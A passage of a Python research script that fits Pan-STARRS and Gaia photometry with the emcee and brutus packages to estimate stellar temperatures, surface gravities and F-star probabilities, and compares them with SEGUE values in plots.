emcee.backends.HDFBackend(hdffile)\n\tsamples = reader.get_chain(flat = True)\n\t\n\tlabels = [\"EEP\", \"[Fe/H]\", \"mass\", \"E(B-V)\", \"dmod\" ]\n\tcorner.corner(samples, labels = labels)\n\tplt.savefig(\"../figs/emcee_\" + starname + \"_corner.png\")\n\n\t\n\n\tncpus = 30\n\tprint(\"Number of CPUs used: \", ncpus)\n\tpool = mp.Pool(ncpus)\n\n\targs = [sample[:3] for sample in samples[5000:, :] ]\n\n\tresults = pool.map(wrap_get_magmodel_brutus, args)\n\n\tpool.close()\n\n\tteffs = [ 10**line['logt'] for line in results ]\n\n\tprint(teffs)\n\n\tfig, ax = plt.subplots(1, 1)\t\n\tax.hist(teffs, 100, histtype=\"step\")\n\tplt.savefig(\"../figs/emcee_\" + starname + \"_teff_hist.png\")\n\n\n\n\treturn\n\n\n\n\ndef test_emcee():\n\tndim = 5\n\n\tnp.random.seed(42)\n\tmeans = np.random.rand(ndim)\n\tcov = 0.5 - np.random.rand(ndim ** 2).reshape((ndim, ndim))\n\n\tcov = np.triu(cov)\n\n\n\tcov += cov.T - np.diag(cov.diagonal())\n\n\tcov = np.dot(cov, cov)\n\n\n\n\tnwalkers = 32\n\tp0 = np.random.rand(nwalkers, ndim)\n\n\tprint(p0[0])\n\tsampler = emcee.EnsembleSampler(nwalkers, ndim, log_prob, args = [means, cov])\n\n\n\tprint(log_prob(p0[0], means, cov))\n\n\tstate = sampler.run_mcmc(p0, 100)\n\tsampler.reset()\n\n\n\tsampler.run_mcmc(state, 10000)\n\n\n\tsamples = sampler.get_chain(flat=True)\n\tplt.hist(samples[:, 0], 100, color=\"k\", histtype=\"step\")\n\tplt.savefig(\"../figs/emceetest.png\")\n\n\n\tprint(\"Mean acceptance fraction: {0:.3f}\".format(\n\t        np.mean(sampler.acceptance_fraction)\n\t    ))\n\n\tprint(\n    \t\"Mean autocorrelation time: {0:.3f} steps\".format(\n        \tnp.mean(sampler.get_autocorr_time())\n    \t)\n\t)\n\n\ndef test_get_magmodel():\n\n\n\ttime_start = time.perf_counter()\n\tlage=10.0\n\tfeh = -1.0\n\tmass = 1.0\n\tresults = get_magmodel(lage, feh, mass)\n\n\ttime_elapsed = (time.perf_counter() - time_start)\n\tmemMb = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss/1024.0/1024.0\n\tprint(\"%5.5f secs %5.1f MByte\" % (time_elapsed,memMb))\n\n\n\treturn\n\ndef test_get_magmodel2():\n\n\n\tdf = pd.read_pickle(isopath + \"PS1.pkl\")\n\tlage=10.0\n\tfeh = -1.0\n\tmass = 1.0\n\n\n\ttime_start = time.perf_counter()\n\tresults = get_magmodel_cached(lage, feh, mass, df)\n\n\ttime_elapsed = (time.perf_counter() - time_start)\n\tmemMb = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss/1024.0/1024.0\n\tprint(\"%5.5f secs %5.1f MByte\" % (time_elapsed,memMb))\n\treturn\n\n\ndef test_get_magmodel3():\n\n\tdf = pd.read_pickle(isopath + \"PS1.pkl\")\n\tlage=10.0\n\tfeh = -1.0\n\tmass = 1.0\n\n\tisoarr0 = df.to_numpy()\n\n\n\ttime_start = time.perf_counter()\n\tresults = get_magmodel_arr(lage, feh, mass, isoarr0)\n\n\n\n\ttime_elapsed = (time.perf_counter() - time_start)\n\tmemMb = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss/1024.0/1024.0\n\tprint(\"%5.5f secs %5.1f MByte\" % (time_elapsed,memMb))\n\treturn\n\n\ndef pickle_isofiles():\n\n\n\tisofiles = [\"PS1_MH-2.5_-2.0_logAge6.6_10.20.dat\", \"PS1_MH-2.0_-1.0_logAge6.6_10.20.dat\", \"PS1_MH-1.0_-0.0_logAge6.6_10.20.dat\", \"PS1_MH0.0_1.0_logAge6.6_10.20.dat\"]\n\n\tfor i in range(0, 4):\n\t\tdf0 = pd.read_table(isopath + isofiles[i], comment=\"#\", delimiter=\"\\s+\", usecols = [\"MH\", \"logAge\", \"Mini\", \"logTe\", \"logg\", \"label\", \"gP1mag\", \"rP1mag\", \"iP1mag\", \"zP1mag\", \"yP1mag\"])\n\t\tprint(\"Data size = %i is read from \"%(len(df0)), isofiles[i])\n\t\tif i==0:\n\t\t\tdf = df0\n\t\telse:\n\t\t\tdf = pd.concat([df, df0], ignore_index = True)\n\tdf.to_pickle(isopath + \"PS1.pkl\")\n\n\treturn\n\n\n\n\ndef view_models():\n\n\tmistfile = '../../brutus/data/DATAFILES/MIST_1.2_EEPtrk.h5'\n\t\n\tf = h5py.File(mistfile, 'r')\n\n\tprint(f.keys())\n\tgrp = f['-1.00']\n\n\tdset = grp['0.00']\n\t#grp_name = grp.name\n\t#dset = f[grp_name]\n\tprint(dset.keys())\n\n\n\treturn\n\n\n\n\ndef create_sedmodel():\n\n\tfrom brutus import filters\n\tfrom brutus import seds\n\tfrom brutus import utils as butils\n\n\timport brutus\n\n\n\t# --- Importing filter names --------------------------------------------------------------------------------\n\n\tfilt = filters.ps[:-2]\n\n\t# --- Generating a grid of models --------------------------------------------------------------------------------\n\n\tnnfile = '../../brutus/data/DATAFILES/nn_c3k.h5'\n\tmistfile = '../../brutus/data/DATAFILES/MIST_1.2_EEPtrk.h5'\n\tsedmaker = seds.SEDmaker(filters=filt, nnfile=nnfile, mistfile=mistfile)\n\n\treturn(sedmaker)\n\n\n\n\ndef run_brutus_segue(outfile, include_plx=True):\n\n\tfrom brutus import filters\n    #from brutus import seds\n\tfrom brutus import utils as butils\n\tfrom brutus.fitting import BruteForce\n\timport brutus\n\n\tfilt = filters.ps[:-2]\n\n\tgridfile = \"../../brutus/data/DATAFILES/grid_mist_v9.h5\"\n\t(models_mist, labels_mist, lmask_mist) = butils.load_models(gridfile, filters=filt)\n\n\t# Initialize BruteForce class\n\tBF_mist = BruteForce(models_mist, labels_mist, lmask_mist)\n\t\n\t# Load data\n\n\tpath = \"../catalogs/MAST_PS1_crossmatch/\"\n\tcatalog = \"sppParams_PS1DR1_crossmatch_GaiaEDR3_magerr.csv\"\n\n\tcols = ['specobjid', 'gmag', 'e_gmag', 'rmag', 'e_rmag', 'imag', 'e_imag', 'zmag', 'e_zmag', 'ymag', 'e_ymag', 'parallax', 'parallax_error', 'l', 'b' ]\n\tdf0 = pd.read_csv(path + catalog, usecols = cols, nrows=500)   # add nrows=X to limit the number of entries.\n\t\n\t# Remove entries with NaN\n\t#filt = (df0.isnull().any(axis=1)==False) & (df0['e_gmag']>0.)  & (df0['e_rmag']>0.)  & (df0['e_imag']>0.)  & (df0['e_zmag']>0.)  & (df0['e_ymag']>0.)\n\tdf = df0[df0.isnull().any(axis=1)==False]\n\t#filt = (df1['e_gmag']>0.)  & (df1['e_rmag']>0.)  & (df1['e_imag']>0.)  & (df1['e_zmag']>0.)  & (df1['e_ymag']>0.)\n\t#df = df1[filt]\n\t#df = df1\n\tprint(\"Analyzing %i/%i stars\"%(len(df), len(df0)))\n\n\n\tobjid = df['specobjid']\n\tmag = [ [line[0], line[1], line[2], line[3], line[4]] for line in zip(df[\"gmag\"], df[\"rmag\"], df[\"imag\"], df[\"zmag\"], df[\"ymag\"])]\n\tmagerr = [ [line[0], line[1], line[2], line[3], line[4]] for line in zip(df[\"e_gmag\"], df[\"e_rmag\"], df[\"e_imag\"], df[\"e_zmag\"], df[\"e_ymag\"]) ]\n\tmask = np.isfinite(magerr)\n\tphot, err = butils.inv_magnitude(np.array(mag), np.array(magerr))\n      \n\n\tprint(len(phot[phot<0.]))\n\tprint(len(err[err<=0.0]))\n\t\n\tplx = df[\"parallax\"].values\n\tplxerr =df[\"parallax_error\"].values\n\n\n\tl = df[\"l\"].values\n\tb = df[\"b\"].values\n\tcoords = np.c_[l, b]\n\n\n\t# Photometric offset \n\toff_file_mist = \"../../brutus/data/DATAFILES/offsets_mist_v8.txt\"\n\toff_mist = butils.load_offsets(off_file_mist, filters=filt)\n\n\t# Fitting the data\n\tnp.random.seed(862)\n\n\tdustfile = \"../../brutus/data/DATAFILES/bayestar2019_v1.h5\"\n\n\t\n\tif os.path.isfile(outfile + \".h5\"):\n\t\tos.remove(outfile + \".h5\")\n\n\n\tif include_plx==True:\n\t\t\n\t\tparallax = plx\n\t\tparallax_err = plxerr\n\n\telse:\n\t\tparallax = np.zeros_like(plx)\n\t\tparallax[:]=np.nan\n\t\tparallax_err = np.zeros_like(plxerr)\n\t\tparallax_err[:] = np.nan\n\t\n\tBF_mist.fit(phot, err, mask, objid, outfile, data_coords=coords, \\\n\tparallax=parallax, parallax_err=parallax_err, phot_offsets=off_mist, mag_max=50., merr_max=0.5, \\\n\tdustfile=dustfile, Ndraws=2500, Nmc_prior=50, logl_dim_prior=True, save_dar_draws=True, running_io=True, verbose=True)\n\n\treturn\n\n\ndef run_brutus(inputcatalog, include_plx=False):\n\n\tfrom brutus import filters\n    #from brutus import seds\n\tfrom brutus import utils as butils\n\tfrom brutus.fitting import BruteForce\n\timport brutus\n\t\n\n\toutfile = \"../outputs/PS1_Gaia_mist_woplx\" + ((inputcatalog.split(\"GaiaEDR3\"))[-1]).replace(\".csv\", \"\")\n\n\tfilt = filters.ps[:-2]\n\n\tgridfile = \"../../brutus/data/DATAFILES/grid_mist_v9.h5\"\n\t(models_mist, labels_mist, lmask_mist) = butils.load_models(gridfile, filters=filt)\n\n\t# Initialize BruteForce class\n\tBF_mist = BruteForce(models_mist, labels_mist, lmask_mist)\n\t\n\t# Load data\n\n\n\tcols = ['objID', 'source_id','gmag', 'e_gmag', 'rmag', 'e_rmag', 'imag', 'e_imag', 'zmag', 'e_zmag', 'ymag', 'e_ymag', 'parallax', 'parallax_error', 'l', 'b' ]\n\tdf0 = pd.read_csv(inputcatalog, usecols = cols)   # add nrows=X to limit the number of entries.\n\t\n\t# Remove entries with NaN\n\t#filt = (df0.isnull().any(axis=1)==False) & (df0['e_gmag']>0.)  & (df0['e_rmag']>0.)  & (df0['e_imag']>0.)  & (df0['e_zmag']>0.)  & (df0['e_ymag']>0.)\n\tdf = df0[df0.isnull().any(axis=1)==False]\n\t#filt = (df1['e_gmag']>0.)  & (df1['e_rmag']>0.)  & (df1['e_imag']>0.)  & (df1['e_zmag']>0.)  & (df1['e_ymag']>0.)\n\t#df = df1[filt]\n\t#df = df1\n\tprint(\"Analyzing %i/%i stars\"%(len(df), len(df0)))\n\n\n\tobjid = df['source_id']\n\tmag = [ [line[0], line[1], line[2], line[3], line[4]] for line in zip(df[\"gmag\"], df[\"rmag\"], df[\"imag\"], df[\"zmag\"], df[\"ymag\"])]\n\tmagerr = [ [line[0], line[1], line[2], line[3], line[4]] for line in zip(df[\"e_gmag\"], df[\"e_rmag\"], df[\"e_imag\"], df[\"e_zmag\"], df[\"e_ymag\"]) ]\n\tmask = np.isfinite(magerr)\n\tphot, err = butils.inv_magnitude(np.array(mag), np.array(magerr))\n      \n\n\t\n\tplx = df[\"parallax\"].values\n\tplxerr =df[\"parallax_error\"].values\n\n\n\tl = df[\"l\"].values\n\tb = df[\"b\"].values\n\tcoords = np.c_[l, b]\n\n\n\t# Photometric offset \n\toff_file_mist = \"../../brutus/data/DATAFILES/offsets_mist_v8.txt\"\n\toff_mist = butils.load_offsets(off_file_mist, filters=filt)\n\n\t# Fitting the data\n\tnp.random.seed(862)\n\n\tdustfile = \"../../brutus/data/DATAFILES/bayestar2019_v1.h5\"\n\n\t\n\tif os.path.isfile(outfile + \".h5\"):\n\t\tos.remove(outfile + \".h5\")\n\n\n\tif include_plx==True:\n\t\t\n\t\tparallax = plx\n\t\tparallax_err = plxerr\n\n\telse:\n\t\tparallax = np.zeros_like(plx)\n\t\tparallax[:]=np.nan\n\t\tparallax_err = np.zeros_like(plxerr)\n\t\tparallax_err[:] = np.nan\n\t\n\tBF_mist.fit(phot, err, mask, objid, outfile, data_coords=coords, \\\n\tparallax=parallax, parallax_err=parallax_err, phot_offsets=off_mist, mag_max=50., merr_max=0.5, \\\n\tdustfile=dustfile, Ndraws=2000, Nmc_prior=50, logl_dim_prior=True, save_dar_draws=True, running_io=True, verbose=True)\n\n\treturn\n\n\n\ndef run_brutus_multiprocess():\n\n\t#start_time = time.process_time()\n\n\tstart_time = time.perf_counter()\n\n\tcatalogs = glob.glob(\"../comissioning/Nov2022/PS1DR2_GaiaEDR3_ra?.*csv\")\n\n\t#catalogs = [\"../comissioning/Nov2022/PS1DR2_GaiaEDR3_ra0.0_1.0_dec-40.0_90.0.csv\", \"../comissioning/Nov2022/PS1DR2_GaiaEDR3_ra1.0_2.0_dec-40.0_90.0.csv\"]\n\n\n\t\n\n\tncpus = mp.cpu_count()\n\tprint(\"Number of CPUs used: \", ncpus)\n\tpool = mp.Pool(ncpus)\n\n\tresults = pool.map(run_brutus, [catalog for catalog in catalogs])\n\n\tpool.close()\n\n\t#end_time = time.process_time()\n\tend_time = time.perf_counter()\n\n\telapse_time = end_time - start_time\n\tprint(\"CPU time = \" ,elapse_time)\n\n\treturn()\n\n\n\n\n\ndef read_brutus_results_segue(filename, paramfile, plot=False):\n\t\n\tfrom brutus import utils as butils\n\tfrom brutus import filters\n\n\tfrom brutus import plotting as bplot\n\t\n\tfilt = filters.ps[:-2]\n\n\t# import MIST model grid\n\tgridfile = '../../brutus/data/DATAFILES/grid_mist_v9.h5'\n\t(models_mist, labels_mist, lmask_mist) = butils.load_models(gridfile, filters=filt)\n\n\n\t# Photometric offset \n\toff_file_mist = \"../../brutus/data/DATAFILES/offsets_mist_v8.txt\"\n\toff_mist = butils.load_offsets(off_file_mist, filters=filt)\n\n\tprint(filename +  '.h5')\n\tf = h5py.File(filename + '.h5', 'r')\n\n\n\n\t\n\tidxs_mist = f['model_idx'][:]  # model indices\n\tchi2_mist = f['obj_chi2min'][:]  # best-fit chi2\n\tnbands_mist = f['obj_Nbands'][:]  # number of bands in fit\n\tdists_mist = f['samps_dist'][:]  # distance samples\n\treds_mist = f['samps_red'][:]  # A(V) samples\n\tdreds_mist = f['samps_dred'][:]  # R(V) samples\n\tlnps_mist = f['samps_logp'][:]  # log-posterior of samples\n\n\n\n\t# Load SEGUE catalog data \n\tpath = \"../catalogs/MAST_PS1_crossmatch/\"\n\tcatalog = \"sppParams_PS1DR1_crossmatch_GaiaEDR3_magerr.csv\"\n\tdf0 = pd.read_csv(path + catalog)\n\n\tteff = () \n\tteff_low = ()\n\tteff_high = ()\n\n\tlogg = ()\n\tlogg_low = ()\n\tlogg_high = ()\n\n\t\n\toteff = ()\n\toteff_sig = ()\t\n\n\tologg = ()\n\tologg_sig = ()\n\n\tofeh = ()\n\tofeh_sig = ()\n\n\n\n\n\n\tfor i, lab in enumerate(f['labels'][:]):\n\t\tdf = df0[df0['specobjid']==lab]\t\n\n\t\tmag = [ [line[0], line[1], line[2], line[3], line[4]] for line in zip(df[\"gmag\"], df[\"rmag\"], df[\"imag\"], df[\"zmag\"], df[\"ymag\"])]\n\t\tmagerr = [ [line[0], line[1], line[2], line[3], line[4]] for line in zip(df[\"e_gmag\"], df[\"e_rmag\"], df[\"e_imag\"], df[\"e_zmag\"], df[\"e_ymag\"]) ]\n\t\tmask = np.isfinite(magerr)\n\t\tphot, err = butils.inv_magnitude(np.array(mag), np.array(magerr))\n\t\tplx = df[\"parallax\"].values\n\t\tplxerr =df[\"parallax_error\"].values\n\n\t\toteff = np.hstack((oteff, df[\"teffadop\"]))\n\t\toteff_sig = np.hstack((oteff_sig, df[\"teffadopunc\"]))\n\t\tologg = np.hstack((ologg, df[\"loggadop\"]))\n\t\tologg_sig = np.hstack((ologg_sig, df[\"loggadopunc\"]))\n\t\tofeh = np.hstack((ofeh, df[\"fehadop\"]))\n\t\tofeh_sig = np.hstack((ofeh_sig, df[\"fehadopunc\"]))\n\t\t\t\n\n\t\t#l = df[\"l\"].values\n\t\t#b = df[\"b\"].values\n\t\t#coords = np.c_[l, b]\n\t\tif plot==True:\n\t\t\tfig, ax, parts = bplot.posterior_predictive(models_mist,  # stellar model grid\n                                            idxs_mist[i],  # model indices\n                                            reds_mist[i],  # A(V) draws\n                                            dreds_mist[i],  # R(V) draws\n                                            dists_mist[i],  # distance draws\n                                            data=phot[0], data_err=err[0],  # data\n                                            data_mask=mask[0],  # band mask\n                                            offset=off_mist,  # photometric offsets\n                                            psig=2.,  # plot 2-sigma errors\n                                            labels=filt,  # filters \n                                            vcolor='blue',  # \"violin plot\" colors for the posteriors\n                                            pcolor='black')  # photometry colors for the data\n\t\t\tfigname = \"../figs/sed_\" + str(lab) + \".png\"\n\n\t\t\tfig.savefig(figname)\n\n\t\tprint('Best-fit chi2 (MIST):', chi2_mist[i])\n\n\n\t\t# Get Teff\n\t\t#print(labels_mist.dtype.names)\n\t\tparams = labels_mist[idxs_mist[i]]\n\t\tlteff = [ line[5] for line in params ]\n\t\tq1, q2, q3 = butils.quantile(lteff, [0.159, 0.5, 0.841])  # 1sigma quantiles\n\t\tteff = np.hstack((teff,10**q2))\n\t\tteff_low = np.hstack((teff_low, 10**q1))\n\t\tteff_high = np.hstack((teff_high, 10**q3))\n\t\t\t\n\t\tloggs = [ line[6] for line in params ]\n\t\tq1, q2, q3 = butils.quantile(loggs, [0.159, 0.5, 0.841])\n\t\tlogg = np.hstack((logg, q2))\n\t\tlogg_low = np.hstack((logg_low, q1))\n\t\tlogg_high = np.hstack((logg_high, q3))\n\n\t\tif plot==True:\n\t\t\tfig2, axes = bplot.cornerplot(idxs_mist[i], \n                             (dists_mist[i], reds_mist[i], dreds_mist[i]),\n                             labels_mist,  # model labels\n                             parallax=plx[0], parallax_err=plxerr[0],  # overplot if included\n                             show_titles=True, color='blue', pcolor='orange',\n                             fig=plt.subplots(11, 11, figsize=(55, 55)))  #  custom figure\n\t\t\tplt.xticks(fontsize=12)\n\t\t\tfigname = \"../figs/corner_\" + str(lab) + \".png\"\n\t\t\tfig2.savefig(figname)\n\n\t\tif i==300:\n\t\t\tbreak\n\n\toutdata = { \"teff\":teff, \"teff_low\":teff_low, \"teff_high\":teff_high, \"logg\":logg, \"logg_low\":logg_low, \"logg_high\":logg_high, \\\n\t\"oteff\":oteff, \"oteff_sig\":oteff_sig, \"ologg\":ologg, \"ologg_sig\":ologg_sig, \"ofeh\":ofeh, \"ofeh_sig\":ofeh_sig }\n\n\tdfout = pd.DataFrame(outdata)\n\tdfout.to_csv(paramfile, index = False)\n\n\treturn\n\n\ndef asymmetric_gaussian(x, mu, sd_low, sd_high):\n\t\n\tif x <= mu:\n\t\tsd = sd_low\n\telse:\n\t\tsd = sd_high\n\treturn 1 / (sd*(2.*np.pi)**0.5) * np.exp((x-mu)**2/(-2.*sd**2))\n\ndef fstar_prob(teff, teff_low, teff_high):\n\n\t# Fstar range\n\ttmin = 6000.\n\ttmax = 7500.\n\n\tmu = teff\n\tsd_low = teff-teff_low\n\tsd_high = teff_high-teff\n\n\tfstar_prob = quad(asymmetric_gaussian, tmin, tmax, args=(mu, sd_low, sd_high))\n\t#fstar_prob = quad(lambda x: 1 / (sd*(2.*np.pi)**0.5) * np.exp((x-mu)**2/(-2.*sd**2)), tmin, tmax)\n\t#print(quad(lambda x: 1 / (sd*(2.*np.pi)**0.5) * np.exp((x-mu)**2/(-2.*sd**2)), -np.inf, np.inf), \"  should be 1.\")\n\n\n\treturn fstar_prob\n\ndef read_brutus_results(filename, catalog, paramfile, plot=False):\n\t\n\tfrom brutus import utils as butils\n\tfrom brutus import filters\n\n\tfrom brutus import plotting as bplot\n\t\n\tfilt = filters.ps[:-2]\n\n\t# import MIST model grid\n\tgridfile = '../../brutus/data/DATAFILES/grid_mist_v9.h5'\n\t(models_mist, labels_mist, lmask_mist) = butils.load_models(gridfile, filters=filt)\n\n\n\t# Photometric offset \n\toff_file_mist = \"../../brutus/data/DATAFILES/offsets_mist_v8.txt\"\n\toff_mist = butils.load_offsets(off_file_mist, filters=filt)\n\n\tf = h5py.File(filename, 'r')\n\n\n\n\t\n\tidxs_mist = f['model_idx'][:]  # model indices\n\tchi2_mist = f['obj_chi2min'][:]  # best-fit chi2\n\tnbands_mist = f['obj_Nbands'][:]  # number of bands in fit\n\tdists_mist = f['samps_dist'][:]  # distance samples\n\treds_mist = f['samps_red'][:]  # A(V) samples\n\tdreds_mist = f['samps_dred'][:]  # R(V) samples\n\tlnps_mist = f['samps_logp'][:]  # log-posterior of samples\n\n\n\n\t# Load SEGUE catalog data \n\tdf0 = pd.read_csv(catalog)\n\n\n\t# Information from the catalog\n\n\tobj_ids = np.array((),dtype=int)\n\tcatalogs = ()\n\tras = ()\n\tdecs = ()\n\tepochs = ()\n\tplxs =()\n\tplx_errs = ()\n\tpmras = ()\n\tpmra_errs = ()\n\tpmdecs = ()\n\tpmdec_errs = ()\n\n\n\n\n\tteff = () \n\tteff_low = ()\n\tteff_high = ()\n\n\tlogg = ()\n\tlogg_low = ()\n\tlogg_high = ()\n\n\t\n\tfstar_probs = ()\n\n\n\n\n\tphotos = None \n\n\tfor i, lab in enumerate(f['labels'][:]):\n\n\t\t\n\n\t\tdf = df0[df0['source_id']==lab]\t\n\t\t\n\n\n\t\tmag = [ [line[0], line[1], line[2], line[3], line[4]] for line in zip(df[\"gmag\"], df[\"rmag\"], df[\"imag\"], df[\"zmag\"], df[\"ymag\"])]\n\t\tmagerr = [ [line[0], line[1], line[2], line[3], line[4]] for line in zip(df[\"e_gmag\"], df[\"e_rmag\"], df[\"e_imag\"], df[\"e_zmag\"], df[\"e_ymag\"]) ]\n\t\tmask = np.isfinite(magerr)\n\t\tphot, err = butils.inv_magnitude(np.array(mag), np.array(magerr), zeropoints = 3631.*1.e+9)\n\n\t\tif photos is None:\n\t\t\tphotos = np.round(phot, decimals = 2)\n\t\t\tphoto_errs = np.round(err, decimals = 2)\n\n\t\telse:\n\t\t\tphotos = np.vstack((photos, np.round(phot[0,:], decimals = 2)))\n\t\t\tphoto_errs = np.vstack((photo_errs, np.round(err[0,:], decimals = 2)))\n\n\n\t\tobj_ids = np.hstack((obj_ids, lab))\n\t\tcatalogs = np.hstack((catalogs, \"GaiaDR3\"))\n\t\tplxs = np.hstack((plxs, df[\"parallax\"].values))\n\t\tplx_errs = np.hstack((plx_errs, df[\"parallax_error\"].values))\n\t\tras = np.hstack((ras, df[\"ra\"].values))\n\t\tdecs = np.hstack((decs, df[\"dec\"].values))\n\t\tepochs = np.hstack((epochs, df[\"ref_epoch\"].values))\n\t\tpmras = np.hstack((pmras, df[\"pmra\"].values))\n\t\tpmra_errs = np.hstack((pmra_errs, df[\"pmra_error\"].values))\n\t\tpmdecs = np.hstack((pmdecs, df[\"pmdec\"].values))\n\t\tpmdec_errs = np.hstack((pmdec_errs, df[\"pmdec_error\"].values))\n\n\n\n\n\t\tif plot==True:\n\t\t\tfig, ax, parts = bplot.posterior_predictive(models_mist,  # stellar model grid\n                                            idxs_mist[i],  # model indices\n                                            reds_mist[i],  # A(V) draws\n                                            dreds_mist[i],  # R(V) draws\n                                            dists_mist[i],  # distance draws\n                                            data=phot[0], data_err=err[0],  # data\n                                            data_mask=mask[0],  # band mask\n                                            offset=off_mist,  # photometric offsets\n                                            psig=2.,  # plot 2-sigma errors\n                                            labels=filt,  # filters \n                                            vcolor='blue',  # \"violin plot\" colors for the posteriors\n                                            pcolor='black')  # photometry colors for the data\n\t\t\tfigname = \"../figs/sed_\" + str(lab) + \".png\"\n\n\t\t\tfig.savefig(figname)\n\n\t\tprint('Best-fit chi2 (MIST):', chi2_mist[i])\n\n\n\t\t# Get Teff\n\t\t#print(labels_mist.dtype.names)\n\t\tparams = labels_mist[idxs_mist[i]]\n\t\tlteff = [ line[5] for line in params ]\n\t\tq1, q2, q3 = butils.quantile(lteff, [0.159, 0.5, 0.841])  # 1sigma quantiles\n\t\tteff = np.hstack((teff,np.round(10**q2, decimals = 1)))\n\t\tteff_low = np.hstack((teff_low, np.round(10**q1, decimals = 1)))\n\t\tteff_high = np.hstack((teff_high, np.round(10**q3, decimals = 1)))\n\t\t\t\n\n\t\t# Probability of being F-star\n\t\tP_fstar, P_fstar_err = fstar_prob(10**q2, 10**q1, 10**q3)\n\n\t\tfstar_probs = np.hstack((fstar_probs, P_fstar))\n\n\t\tif P_fstar<0 or P_fstar>1.:\n\t\t\tprint(\"Probability of Fstar for %i is out of range:  %f\"%(lab, P_fstar))\n\n\t\tif P_fstar>0.5:\n\t\t\tprint(\"Fstar!\")\n\t\t\n\n\t\tloggs = [ line[6] for line in params ]\n\t\tq1, q2, q3 = butils.quantile(loggs, [0.159, 0.5, 0.841])\n\t\tlogg = np.hstack((logg, np.round(q2, decimals = 2)))\n\t\tlogg_low = np.hstack((logg_low, np.round(q1, decimals = 2)))\n\t\tlogg_high = np.hstack((logg_high, np.round(q3, decimals = 2)))\n\n\t\tif plot==True:\n\t\t\tfig2, axes = bplot.cornerplot(idxs_mist[i], \n                             (dists_mist[i], reds_mist[i], dreds_mist[i]),\n                             labels_mist,  # model labels\n                             parallax=plx[0], parallax_err=plxerr[0],  # overplot if included\n                             show_titles=True, color='blue', pcolor='orange',\n                             fig=plt.subplots(11, 11, figsize=(55, 55)))  #  custom figure\n\t\t\tplt.xticks(fontsize=12)\n\t\t\tfigname = \"../figs/corner_\" + str(lab) + \".png\"\n\t\t\tfig2.savefig(figname)\n\n\t\tif i==300:\n\t\t\tbreak\n\t\n\t#print(photos)\n\t#print(np.shape(photos[:,0]))\t\n\toutdata = { \"obj_id\": obj_ids,  \"catalog\": catalogs, \"ra\": ras, \"dec\": decs, \\\n\t\"epoch\": epochs, \"parallax\":plxs, \"parallax_error\":plx_errs, \"pmra\":pmras, \\\n\t\"pmra_error\":pmra_errs, \"pmdec\":pmdecs, \"pmdec_error\":pmdec_errs, \"gFluxJy\":photos[:, 0], \\\n\t\"rFluxJy\":photos[:, 1], \"iFluxJy\":photos[:, 2], \"zFluxJy\":photos[:, 3], \\\n\t\"yFluxJy\":photos[:, 4], \"gFluxJy_err\":photo_errs[:, 0], \"rFluxJy_err\":photo_errs[:, 1], \\\n\t\"iFluxJy_err\":photo_errs[:, 2], \"zFluxJy_err\":photo_errs[:, 3], \\\n\t\"yFluxJy_err\":photo_errs[:, 4], \"probfstar\": fstar_probs, \\\n\t\"teff\":teff, \"teff_low\":teff_low, \"teff_high\":teff_high, \"logg\":logg, \"logg_low\":logg_low, \"logg_high\":logg_high}\n\n\tdfout = pd.DataFrame(outdata)\n\tdfout.to_csv(paramfile, index = False)\n\n\treturn\n\n\n\n\t\n\n\n\n\n\n\n\n\n\ndef plot_param(paramfiles):\n\n\tcmap = plt.get_cmap(\"Oranges\")\n\tnc = 5\n\n\n\tfor paramfile in paramfiles:\n\n\t\tdf = pd.read_csv(paramfile)\n\n\t\tt_p = df[\"teff\"]\n\t\tt_p_err = 0.5 * (np.abs(df[\"teff_low\"] - df[\"teff\"]) + np.abs(df[\"teff_high\"] - df[\"teff\"]))\t\n\n\t\tlogg_p = df[\"logg\"]\n\t\tlogg_p_err = 0.5 * (np.abs(df[\"logg_low\"] - df[\"logg\"]) + np.abs(df[\"logg_high\"] - df[\"logg\"]))\t\n\n\n\n\n\t\tt_p_errbar = np.median(t_p_err)\n\t\tlogg_p_errbar = np.median(logg_p_err)\n\n\n\t\tt_o = df[\"oteff\"]\n\t\tt_o_err = df[\"oteff_sig\"]\n\t\tt_o_errbar = np.median(t_o_err)\n\n\t\tlogg_o = df[\"ologg\"]\n\t\tlogg_o_err = df[\"ologg_sig\"]\n\t\tlogg_o_errbar = np.median(logg_o_err)\n\n\n\t\tfeh_o = df[\"ofeh\"]\n\n\n\t\tt_diff = t_p-t_o\n\t\tlogg_diff = logg_p - logg_o\n\n\t\tfact = 3.\n\n\t\t# Temperature \n\t\tc, low, upp = sigmaclip(t_diff, fact, fact)\n\t\tdiff_mean = np.mean(c)\n\t\tdiff_std = np.std(c) \n\n\t\tplt.rcParams[\"font.size\"] = 20\n\t\tfig, ax = plt.subplots(1, 1, figsize=(15, 7))\n\n\t\tfor i, femax in enumerate([-2., -1.5, -1.0, -0.5, 0.0]):\n\t\t\tif i==0:\n\t\t\t\tfemin = -5.0\n\t\t\telse:\n\t\t\t\tfemin = femax-0.5\n\t\t\tfilt = (feh_o>=femin) & (feh_o<femax)\n\t\t\tax.errorbar(t_o[filt], t_diff[filt], linestyle = \"\", marker = \"o\", ms = 10, mec = cmap(i/nc), mfc = cmap(i/nc), label=\"%.1f<=[Fe/H]<%.1f\"%(femin, femax))\n\t\tax.text(3200., 500., r\"Mean$=%.0f$, $\\sigma=%.0f$ (3$\\sigma$-clipped)\"%(diff_mean, diff_std))\n\t\tx = np.arange(3000, 9000, 10)\n\t\ty = np.zeros_like(x)\n\t\tax.plot(x, y, linewidth=2, linestyle = \":\", color='gray' )\n\t\tax.errorbar([3200], [-400.], xerr = t_o_errbar, yerr = t_p_errbar, linewidth=2, mew = 2, capsize=2, ecolor='gray')\n\t\tax.set_xlabel(r\"$T_{eff}$(SEGUE)[K]\")\n\t\tax.set_ylabel(r\"$T_{eff}$(Predicted)$-T_{eff}$(SEGUE)[K]\")\t\n\t\tax.set_xlim(3000., 9000)\n\t\tax.set_ylim(-600., 600)\n\t\tax.legend(loc=4, prop={\"size\":12})\n\t\tfigname = ((paramfile.split(\"/\"))[-1])[:-4] + \"_teff.png\"\n\t\tplt.savefig(\"../figs/\" + figname)\n\n\n\t\t# logg\n\t\tc, low, upp = sigmaclip(logg_diff, fact, fact)\n\t\tdiff_mean = np.mean(c)\n\t\tdiff_std = np.std(c) \n\n\t\tplt.rcParams[\"font.size\"] = 20\n\t\tfig, ax = plt.subplots(1, 1, figsize=(15, 7))\n\n\t\tfor i, femax in enumerate([-2., -1.5, -1.0, -0.5, 0.0]):\n\t\t\tif i==0:\n\t\t\t\tfemin = 